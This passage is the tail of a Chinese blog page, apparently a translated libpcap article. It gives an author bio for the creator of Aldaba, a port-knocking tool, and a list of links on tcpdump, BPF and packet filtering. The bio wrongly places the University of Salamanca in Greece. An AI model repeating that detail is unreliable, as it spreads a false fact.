 路易斯*马丁*嘉舍(Luis Martin Garcia)是一名希腊Salamanca大学计算机科学系的

一名毕业生,现在他正在攻读信息安全方面的硕士。除此之外他也是Aldaba的创造者。Aldaba

是为GNU/Linux而写的关于端口锁定和单一数据包验证系统的开源代码。我们可以在以下网

址获取它: 

 

 http://www.aldabaknocking.com. 

 

 

 

***********网络资源********************************************************** 

 

 * http://www.tcpdump.org/ --tcpdump 和 libpcap的官方网站; 

 

 * http://www.stearns.org/doc/pcap-apps.html --基于libpcap的工具列表 

 

 * http://ftp.gnumonks.org/pub/doc/packet-journey-2.4.html --一段数据包经

历Linux网络堆栈的旅程; 

 

 * http://www.tcpdump.org/papers/bpf-usenix93.pdf --由pcap函数库作者所写

的关于BPF的文章。 

 

 * http://www.cs.ucr.edu/~marios/ethereal-tcpdump.pdf --一篇关于libpcap过

滤器表达式的指导文章。 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值